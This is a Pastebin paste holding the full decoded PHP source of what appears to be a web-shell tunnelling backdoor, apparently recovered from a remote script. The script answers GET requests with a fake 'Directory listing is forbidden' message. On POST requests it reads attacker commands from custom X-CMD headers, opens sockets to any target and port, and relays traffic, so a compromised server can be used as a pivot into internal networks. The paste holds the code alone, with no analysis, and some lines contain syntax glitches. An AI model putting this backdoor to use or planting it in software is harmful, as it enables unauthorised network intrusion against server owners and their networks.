Advertisement
sohaidecoder

Remote script - decode

Apr 22nd, 2016
233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.40 KB | None | 0 0
  1. Source : http://duniagame.elasitas.net/index2.txt
  2.  
  3. file decoded :
  4. <?php
  5. ini_set("allow_url_fopen", true);
  6. ini_set("allow_url_include", true);
  7. if (!function_exists("apache_request_headers")) {
  8.     function apache_request_headers() {
  9.         $arh = array();
  10.         $rx_http = "/\\AHTTP_/";
  11.         foreach($_SERVER as$key => $val) {
  12.             if (preg_match($rx_http, $key)) {
  13.                 $arh_key = preg_replace($rx_http, "", $key);
  14.                 $rx_matches = array();
  15.                 $rx_matches = explode("_", $arh_key);
  16.                 if (count($rx_matches) > 0 and strlen($arh_key) > 2) {
  17.                     foreach($rx_matches as$ak_key => $ak_val) {
  18.                         $rx_matches[$ak_key] = ucfirst($ak_val);
  19.                     }
  20.                     $arh_key = implode("-", $rx_matches);
  21.                 }
  22.                 $arh[$arh_key] = $val;
  23.             }
  24.         }
  25.         return ($arh);
  26.     }
  27. }
  28. if ($_SERVER["REQUEST_METHOD"] === "GET") {
  29.     exit("Directory listing is forbidden.");
  30. }
  31. if ($_SERVER["REQUEST_METHOD"] === "POST") {
  32.     set_time_limit(0);
  33.     $headers = apache_request_headers();
  34.     $cmd = $headers["X-CMD"];
  35.     switch ($cmd) {
  36.         case "CONNECT":
  37.             {
  38.                 $target = $headers["X-TARGET"];$port = (int) $headers["X-PORT"];$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  39.                 if ($sock === false) {
  40.                     header("X-STATUS: FAIL");
  41.                     header("X-ERROR: Failed creating socket");
  42.                     return;
  43.                 }
  44.                 $res = @socket_connect($sock, $target, $port);
  45.                 if ($res === false) {
  46.                     header("X-STATUS: FAIL");
  47.                     header("X-ERROR: Failed connecting to target");
  48.                     return;
  49.                 }
  50.                 socket_set_nonblock($sock);@session_start();$_SESSION["run"] = true;$_SESSION["writebuf"] = "";$_SESSION["readbuf"] = "";ob_end_clean();header("X-STATUS: OK");header("Connection: close");ignore_user_abort();ob_start();$size = ob_get_length();header("Content-Length: $size");ob_end_flush();flush();session_write_close();
  51.                 while ($_SESSION["run"]) {
  52.                     $readBuff = "";
  53.                     @session_start();
  54.                     $writeBuff = $_SESSION["writebuf"];
  55.                     $_SESSION["writebuf"] = "";
  56.                     session_write_close();
  57.                     if ($writeBuff != "") {
  58.                         $i = socket_write($sock, $writeBuff, strlen($writeBuff));
  59.                         if ($i === false) {
  60.                             @session_start();
  61.                             $_SESSION["run"] = false;
  62.                             session_write_close();
  63.                             header("X-STATUS: FAIL");
  64.                             header("X-ERROR: Failed writing socket");
  65.                         }
  66.                     }
  67.                     while ($o = socket_read($sock, 512)) {
  68.                         if ($o === false) {
  69.                             @session_start();
  70.                             $_SESSION["run"] = false;
  71.                             session_write_close();
  72.                             header("X-STATUS: FAIL");
  73.                             header("X-ERROR: Failed reading from socket");
  74.                         }
  75.                         $readBuff. = $o;
  76.                     }
  77.                     if ($readBuff != "") {
  78.                         @session_start();
  79.                         $_SESSION["readbuf"]. = $readBuff;
  80.                         session_write_close();
  81.                     }
  82.                 }
  83.                 socket_close($sock);
  84.             }
  85.             break;
  86.         case "DISCONNECT":
  87.             {
  88.                 error_log("DISCONNECT recieved");@session_start();$_SESSION["run"] = false;session_write_close();
  89.                 return;
  90.             }
  91.             break;
  92.         case "READ":
  93.             {
  94.                 @session_start();$readBuffer = $_SESSION["readbuf"];$_SESSION["readbuf"] = "";$running = $_SESSION["run"];session_write_close();
  95.                 if ($running) {
  96.                     header("X-STATUS: OK");
  97.                     header("Connection: Keep-Alive");
  98.                     echo$readBuffer;
  99.                     return;
  100.                 } else {
  101.                     header("X-STATUS: FAIL");
  102.                     header("X-ERROR: RemoteSocket read filed");
  103.                     return;
  104.                 }
  105.             }
  106.             break;
  107.         case "FORWARD":
  108.             {
  109.                 @session_start();$running = $_SESSION["run"];session_write_close();
  110.                 if (!$running) {
  111.                     header("X-STATUS: FAIL");
  112.                     header("X-ERROR: No more running, close now");
  113.                     return;
  114.                 }
  115.                 header("Content-Type: application/octet-stream");$rawPostData = file_get_contents("php://input");
  116.                 if ($rawPostData) {
  117.                     @session_start();
  118.                     $_SESSION["writebuf"]. = $rawPostData;
  119.                     session_write_close();
  120.                     header("X-STATUS: OK");
  121.                     header("Connection: Keep-Alive");
  122.                     return;
  123.                 } else {
  124.                     header("X-STATUS: FAIL");
  125.                     header("X-ERROR: POST request read filed");
  126.                 }
  127.             }
  128.             break;
  129.     }
  130. }
  131. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement